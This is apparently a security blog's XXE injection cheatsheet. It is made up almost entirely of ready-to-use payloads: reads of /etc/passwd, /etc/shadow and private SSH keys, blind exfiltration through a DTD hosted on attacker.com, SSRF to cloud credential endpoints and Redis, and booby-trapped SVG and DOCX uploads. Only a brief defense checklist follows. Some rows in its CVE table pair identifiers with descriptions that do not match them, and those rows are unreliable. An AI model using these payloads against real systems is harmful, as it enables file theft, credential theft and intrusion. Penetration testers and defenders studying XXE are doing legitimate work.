XXE Cheatsheet: XML External Entity Injection — File Read to SSRF to RCE | Tağmaç - root@Tagoletta:~#

XXE Cheatsheet: XML External Entity Injection — File Read to SSRF to RCE

Thu May 28 2026

Category: Cheatsheet


Classic XXE — File Read

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>
<!-- Windows -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
<foo>&xxe;</foo>
<!-- Read PHP source (base64) -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">]>
<foo>&xxe;</foo>

XXE via SYSTEM Identifier

<!DOCTYPE test [
  <!ENTITY xxe SYSTEM "http://attacker.com/">
]>
<test>&xxe;</test>

Blind XXE — OOB via External DTD

When the server doesn't return entity value in response, use DNS/HTTP callbacks.

Step 1 — Host a malicious DTD at https://attacker.com/evil.dtd:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/?data=%file;'>">
%wrap;
%send;

Step 2 — Trigger from target:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
<foo>test</foo>

Blind XXE — OOB via Parameter Entities

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
<stockCheck><productId>3</productId></stockCheck>

evil.dtd:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfil;

Blind XXE — DNS Only (Detection)

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://unique-id.burpcollaborator.net/">]>
<foo>&xxe;</foo>

XXE to SSRF

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">]>
<foo>&xxe;</foo>
<!-- Internal service scan -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/admin">]>
<foo>&xxe;</foo>

<!-- Gopher for RCE via Redis -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "gopher://127.0.0.1:6379/_FLUSHALL%0D%0A">]>
<foo>&xxe;</foo>

XInclude Attack

When you can't control the DTD but can inject XML content:

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>
<!-- In a specific tag value -->
<productId>
  <foo xmlns:xi="http://www.w3.org/2001/XInclude">
    <xi:include parse="text" href="file:///etc/passwd"/>
  </foo>
</productId>

XXE via File Upload (SVG)

Upload a .svg file containing XXE:

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
  <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

XXE via File Upload (DOCX/XLSX/PPTX)

Office files are ZIP archives containing XML. Inject into word/document.xml:

# Extract DOCX
unzip target.docx -d docx_contents

# Edit word/document.xml — add at top:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
# Then reference &xxe; in document body

# Repack
cd docx_contents && zip -r ../malicious.docx .

XXE via Content-Type Switch

Some parsers accept XML if you change the Content-Type:

# Original:
POST /api/data HTTP/1.1
Content-Type: application/json
{"user":"test"}

# Modified:
POST /api/data HTTP/1.1
Content-Type: application/xml
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><user>test&xxe;</user>

Error-Based XXE (When OOB blocked)

<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
  %eval;
  %error;
]>

The file contents appear in the error message.


XXE via SOAP

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
  <soap:Body>
    <foo>&xxe;</foo>
  </soap:Body>
</soap:Envelope>

Common Target Files

file:///etc/passwd
file:///etc/shadow
file:///etc/hosts
file:///proc/self/environ
file:///var/www/html/.env
file:///var/www/html/config.php
file:///root/.ssh/id_rsa
file:///C:/Windows/win.ini           (Windows)
file:///C:/inetpub/wwwroot/web.config

Real-World Examples

CVE / Incident Year Product Impact
Facebook XXE 2014 Facebook (Word Doc upload) XXE via .docx → internal file read, $30,000 bounty
PayPal XXE 2013 PayPal API XXE → internal server file read
CVE-2019-0230 2019 Apache Struts XXE in Freemarker template → SSRF
CVE-2021-40438 2021 Apache HTTP Server XXE-assisted SSRF → internal access
CVE-2022-42889 2022 Apache Commons Text StringSubstitutor interpolation (related concept)
eBay XXE 2016 eBay REST API XXE → internal network scanning

Example: Facebook XXE via DOCX Upload (2014, $30,000)

# Step 1: Create malicious DOCX
mkdir docx && cd docx
cp normal.docx malicious.docx
unzip malicious.docx -d extracted/

# Step 2: Edit word/document.xml
# Add at very top of the file, before <w:document>:
cat > extracted/word/document.xml << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<w:document xmlns:wpc="..." ...>
  <w:body><w:p><w:r><w:t>&xxe;</w:t></w:r></w:p></w:body>
</w:document>
EOF

# Step 3: Repack and upload
cd extracted && zip -r ../malicious.docx . && cd ..
# Upload malicious.docx to Facebook → /etc/passwd returned in document preview

Example: Blind XXE → OOB Data Exfiltration

# Host evil.dtd on your server (attacker.com/evil.dtd):
cat > evil.dtd << 'EOF'
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/?data=%file;'>">
%wrap;
%send;
EOF

python3 -m http.server 80

# Send payload to target
curl -X POST http://target.com/api/parse-xml \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
<foo>test</foo>'

# Check your HTTP server logs:
# GET /?data=root:x:0:0:root:/root:/bin/bash ... (passwd contents in URL)

Example: XInclude Attack (No DTD Control)

POST /api/product-info HTTP/1.1
Content-Type: application/xml

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/hostname"/>
</foo>
# Response contains: target-server-hostname

Tools

# XXEinjector
ruby XXEinjector.rb --host=attacker.com --file=request.txt --path=/etc/passwd

# Burp Suite — active scanner + manual
# Change Content-Type to application/xml
# Inject DTD into request body

Defense Checklist

  • Disable external entity processing in XML parser
    • Java: factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
    • PHP: libxml_disable_entity_loader(true)
    • Python: use defusedxml library
  • Reject DOCTYPE declarations in user-supplied XML
  • Use JSON instead of XML where possible
  • Whitelist allowed content types
  • Block outbound HTTP from application servers

References